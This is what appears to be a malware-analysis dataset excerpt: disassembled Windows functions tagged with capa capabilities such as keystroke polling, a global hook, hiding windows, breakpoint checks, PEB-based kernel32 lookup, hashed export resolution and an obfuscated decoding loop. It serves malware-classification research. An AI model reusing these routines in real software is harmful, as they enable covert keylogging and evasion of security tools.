joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44563c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4a04d0]
cmp byte [eax + 0xc], 0
je 0x4457a9
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4457a2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4a1b68], 0
jne 0x445690
push 0x4457b0
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4457b8
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b68], eax
cmp dword [0x49ed80], 0
jne 0x44578b
push 0x4457c8
call sub.kernel32.dll_LoadLibraryA
mov dword [0x49ed80], eax
cmp dword [0x49ed80], 0
je 0x44578b
push 0x4457d4
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b6c], eax
push 0x4457e4
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b70], eax
push 0x4457f8
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b74], eax
push 0x445810
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b78], eax
push 0x445828
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b7c], eax
push 0x44583c
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b80], eax
push 0x445854
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b84], eax
push 0x44586c
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b88], eax
push 0x445888
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b8c], eax
push 0x445894
mov eax, dword [0x49ed80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a1b90], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4457a9
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x449634
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.0040424c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x449683
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004044bc
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x450d98
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x450de8]
test si, 4
je 0x450dac
or bl, 1
test si, 8
je 0x450db6
or bl, 4
test si, 1
je 0x450dc0
or bl, 8
test si, 2
je 0x450dca
or bl, 0x10
test si, 0x10
je 0x450dd4
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450de3
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x450dec
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x450e24]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450e05
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450e14
or bl, 4
test esi, 0x20000000
je 0x450e1f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4574cc
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4574de
add esp, 0xfffffff0
call fcn.00403740
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00422d64
mov eax, dword [0x4a0020]
mov dword [eax + 4], ebx
mov dword [eax], 0x457870
mov eax, dword [0x4a0034]
mov dword [eax + 4], ebx
mov dword [eax], 0x45787c
mov eax, ebx
call fcn.00457888
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41a624]
call fcn.004033ec
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41a624]
call fcn.004033ec
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41a624]
call fcn.004033ec
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41a624]
call fcn.004033ec
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41a624]
call fcn.004033ec
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x453ca4
push eax
push 0
push 0
mov eax, dword [0x4a0210]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4247c0]
call fcn.00425f34
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x4247c0]
call fcn.00425f34
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x4247c0]
call fcn.00425f34
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00457ca8
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457b84
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457b84
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457b84
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45761b
call fcn.00403798
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x457968
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x457b13
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x457af4
mov dl, 1
mov eax, dword [0x41ac88]
call fcn.004033ec
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040424c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x457ae3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044599c
test al, al
je 0x457ad6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x457b24
lea eax, [ebp - 0x254]
call fcn.004096b8
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x457ad6
xor eax, eax
push ebp
push 0x457acf
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x457b5c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x457ab8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004044bc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x457ab8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004044bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457ad6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4579d9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041ef54
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457b1a
lea eax, [ebp - 0x260]
call fcn.0040424c
ret

Function at 0x458448
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4a1bb4]
cmp byte [eax + 0xa5], 0
jne 0x4584b9
cmp dword [0x4a1bcc], 0
jne 0x45847a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x458404
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4a1bcc], eax
cmp dword [0x4a1bc8], 0
jne 0x458495
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4a1bc8], eax
cmp dword [0x4a1bd0], 0
jne 0x4584b9
push esp
push 0
push 0
push 0x4583a8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4a1bd0], eax
pop edx
ret
Function at 0x4585b0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4585c7
add esp, 0xfffffff0
call fcn.00403740
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00422d64
mov eax, dword [0x4a01fc]
cmp word [eax + 2], 0
jne 0x4585ef
mov eax, dword [0x4a01fc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00459c88
mov eax, dword [0x4a0300]
cmp word [eax + 2], 0
jne 0x458609
mov eax, dword [0x4a0300]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00459e80
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41a624]
call fcn.004033ec
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41a624]
call fcn.004033ec
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4252a0]
call fcn.0042c950
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x458790
mov eax, dword [0x4a00b8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042cd20
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45a430
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4a00b8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d430
test eax, eax
je 0x4586fe
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409098
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d458
test eax, eax
je 0x458712
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004044bc
mov eax, dword [0x49ff10]
cmp byte [eax], 0
jne 0x458746
mov eax, ebx
call fcn.004588b8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045a60c
mov eax, ebx
call fcn.0045afd0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x458786
call fcn.00403798
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x458b38
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4a1bb4]
cmp dword [eax + 0x30], 0
je 0x458be2
cmp dword [ebx + 0x94], 0
jne 0x458bdc
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x458ac8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x458bdc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x458ba2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x458bdc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041cbd4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x458bb1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x459744
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x459779
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040433c
jmp 0x459786
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004042a0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45a7e8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45a829
mov eax, esi
call fcn.0044105c
test al, al
je 0x45a829
mov eax, dword [ebx + 0x84]
call fcn.00440d84
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45a829
push 0
mov eax, dword [ebx + 0x84]
call fcn.00440d84
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45f0ec
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45f11a
mov eax, ebx
call fcn.0045fba0
cmp dword [ebx + 0x40], 0
je 0x45f113
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45f18b
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45f17d
cmp dword [ebx + 8], 0
je 0x45f13c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45f14e
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45f17d
cmp dword [ebx + 8], 0
je 0x45f12f
cmp eax, 3
je 0x45f161
dec eax
jne 0x45f12f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45f12f
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45f12f
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45f1a9
cmp dword [ebx + 0x14], 0xcc
je 0x45f1a9
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045f1b4
pop ebx
ret
Function at 0x48bd70
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x48bd95
cmp dword [esp + 4], 5
jb 0x48bd95
mov al, 1
jmp 0x48bd97
xor eax, eax
add esp, 0x94
ret
Function at 0x401550
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x401702
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
nop dword [eax]
push 0
call esi
sub byte [edi + ebp], 0x6f
push 0
call esi
add byte [edi + ebp], 0xc6
push 0
call esi
xor byte [edi + ebp], 0x1e
push 0
call esi
add byte [edi + ebp], 0x69
push 0
call esi
add byte [edi + ebp], 0x49
push 0
call esi
inc byte [edi + ebp]
push 0
call esi
add byte [edi + ebp], 0x75
push 0
call esi
xor byte [edi + ebp], 0xc3
push 0
call esi
add byte [edi + ebp], 0x7f
push 0
call esi
add byte [edi + ebp], 0x8b
push 0
call esi
xor byte [edi + ebp], 0xca
push 0
call esi
add byte [edi + ebp], 0x2d
push 0
call esi
add byte [edi + ebp], 0xbc
push 0
call esi
add byte [edi + ebp], 7
push 0
call esi
add byte [edi + ebp], 0x33
push 0
call esi
add byte [edi + ebp], 0xd5
push 0
call esi
xor byte [edi + ebp], 0xf3
push 0
call esi
add byte [edi + ebp], 3
push 0
call esi
add byte [edi + ebp], 0xe1
push 0
call esi
add byte [edi + ebp], 0x89
push 0
call esi
add byte [edi + ebp], 0x5a
push 0
call esi
add byte [edi + ebp], 0x17
push 0
call esi
add byte [edi + ebp], 0x87
push 0
call esi
add byte [edi + ebp], 0x1b
push 0
call esi
add byte [edi + ebp], 0x94
push 0
call esi
xor byte [edi + ebp], 0x1a
push 0
call esi
add byte [edi + ebp], 0xd0
push 0
call esi
add byte [edi + ebp], 0x5d
push 0
call esi
add byte [edi + ebp], 4
push 0
call esi
add byte [edi + ebp], 0x38
push 0
call esi
add byte [edi + ebp], 0x2e
push 0
call esi
xor byte [edi + ebp], 0xb8
push 0
call esi
xor byte [edi + ebp], 0x29
push 0
call esi
xor byte [edi + ebp], 0x6d
push 0
call esi
add byte [edi + ebp], 0x6b
push 0
call esi
add byte [edi + ebp], 0xd0
push 0
call esi
xor byte [edi + ebp], 0xce
push 0
call esi
add byte [edi + ebp], 0x23
push 0
call esi
add byte [edi + ebp], 0x96
push 0
call esi
xor byte [edi + ebp], 0xf5
push 0
call esi
add byte [edi + ebp], 0x52
push 0
call esi
xor byte [edi + ebp], 0x3e
push 0
call esi
add byte [edi + ebp], 0x7c
push 0
call esi
xor byte [edi + ebp], 0x52
push 0
call esi
add byte [edi + ebp], 0x8b
push 0
call esi
xor byte [edi + ebp], 0xf7
push 0
call esi
add byte [edi + ebp], 0xbe
push 0
call esi
add byte [edi + ebp], 0x5c
push 0
call esi
add byte [edi + ebp], 0xe4
inc edi
cmp edi, ebx
jb 0x401570
pop esi
pop ebp
pop edi
pop ebx
ret
Function at 0x401710
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x30
mov eax, dword [0x41c004]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov ebx, dword [esp + 0x38]
push ebp
push esi
xor ebp, ebp
mov dword [esp + 0x10], ebx
mov eax, dword [ebx + 0x3c]
push edi
mov dword [esp + 0x18], 0
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [ecx + ebx + 0x20]
add ecx, ebx
mov dword [esp + 0x20], ecx
add eax, ebx
mov dword [esp + 0x10], eax
mov ecx, dword [ecx + 0x18]
mov dword [esp + 0x1c], ecx
test ecx, ecx
je 0x4018ea
nop word [eax + eax]
mov edx, dword [eax]
xorps xmm0, xmm0
add edx, ebx
mov dword [esp + 0x34], 0
mov eax, edx
mov dword [esp + 0x38], 0
movups xmmword [esp + 0x24], xmm0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401781
sub eax, esi
lea ecx, [esp + 0x24]
push eax
push edx
call fcn.00401020
mov edi, dword [esp + 0x34]
lea ebx, [esp + 0x24]
mov esi, edi
xor esi, 0x14d
cmp dword [esp + 0x38], 0x10
cmovae ebx, dword [esp + 0x24]
push ebx
shr edi, 2
push edi
push str._x_and__p
call fcn.004019a0
add esp, 0xc
xor edx, edx
test edi, edi
je 0x4017f1
nop word [eax + eax]
imul ecx, dword [ebx + edx*4], 0x5bd1e991
inc edx
imul esi, esi, 0x5bd1e991
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e991
xor esi, ecx
cmp edx, edi
jl 0x4017d0
mov eax, dword [esp + 0x34]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x40181b
sub eax, 1
je 0x401811
sub eax, 1
jne 0x401829
movsx ecx, byte [ebx + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [ebx + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [ebx + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor esi, eax
mov eax, esi
shr eax, 0xd
xor eax, esi
imul ecx, eax, 0x5bd1e991
mov eax, ecx
shr eax, 0xf
xor eax, ecx
cmp eax, dword [esp + 0x48]
je 0x401899
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x38]
add eax, 4
mov dword [esp + 0x10], eax
cmp ecx, 0x10
jb 0x401888
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40187a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401903
push ecx
push edx
call fcn.00401ba7
mov eax, dword [esp + 0x18]
add esp, 8
mov ebx, dword [esp + 0x14]
inc ebp
cmp ebp, dword [esp + 0x1c]
jb 0x401760
jmp 0x4018ea
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + ebx]
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x38]
cmp ecx, 0x10
jb 0x4018ea
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4018e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401903
push ecx
push edx
call fcn.00401ba7
add esp, 8
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x3c]
add eax, ebx
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401bb5
add esp, 0x30
ret
call fcn.00404d9f
int3
Function at 0x401940
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x40194e
call 0xc561856
inc eax
inc ecx
add byte [ebx + ecx*4 + 0x3d], ah
xor byte [eax], al
add byte [eax], al
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x44b000], eax
push 0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
sub eax, eax
je 0x40197b
jmp 0xd04081dc
push 0x2d000
push section..pal
call fcn.00401550
add esp, 8
call fcn.004011b0
pop edi
xor eax, eax
pop esi
ret

Function at 0x4024a2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4024e1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4024e1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4024e1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4024e1
cmp dword [ecx + 0x74], 0xe
jbe 0x4024e1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x408a74
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416860
push 0x416858
push str.FlsAlloc
push 0x1e
call fcn.00408935
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408aa8
push dword [ebp + 8]
mov ecx, esi
call dword [0x414124]
call esi
jmp 0x408aae
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408af2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416870
push 0x416868
push str.FlsGetValue
push 0x20
call fcn.00408935
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408b29
push dword [ebp + 8]
mov ecx, esi
call dword [0x414124]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40bf65
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40c002
push ebx
push esi
call fcn.0040bf2e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040be77
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40bfaf
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c001
push edi
push eax
call fcn.00409227
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40bfcf
call fcn.004087c8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c000
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040be77
add esp, 0x20
test eax, eax
jne 0x40bfee
push edi
call fcn.004087c8
jmp 0x40bff6
push ebx
call fcn.004087c8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret